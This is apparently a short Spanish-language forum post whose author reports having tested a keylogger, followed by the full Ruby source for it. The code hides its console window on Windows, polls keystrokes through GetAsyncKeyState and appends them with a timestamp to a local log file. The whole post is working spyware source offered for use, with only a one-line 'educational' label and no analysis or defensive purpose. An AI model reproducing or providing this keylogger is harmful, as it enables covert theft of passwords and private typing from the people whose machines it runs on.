Pues ......... un keylogger en ruby lo he probado y funciona perfecto
# a simple hookless keylogger, tested on winxp
# written by nobot (for educational uses)
require 'Win32API'
#hide the console window.
win = Win32API.new('kernel32' , 'GetConsoleWindow' , [] , 'L').call
Win32API.new( 'user32' , 'ShowWindow' , ['p' , 'i'] , 'i' ).call(win, 0)
#hash mapping of interesting characters to virtual keycodes
keys = Hash[' ' => 0x20, ',' => 0xBC, '.' => 0xBE]
(0x30 .. 0x39).each {|v| keys[v-0x30] = v} #numerals 0-9
(0x41 .. 0x5A).each {|v| keys[v.chr] = v} #letters A-Z
GetAsyncKeyState = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')
keys.each_value {|v| GetAsyncKeyState.call(v) }
file = File.open('evil_file.txt', 'a')
file.puts "\n" + Time.now.to_s
while true
break if GetAsyncKeyState.call(0x1B) & 0x01 == 1 #esc
keys.each {|k, v| file.print k if GetAsyncKeyState.call(v) & 0x01 == 1}
sleep 0.1
end
file.close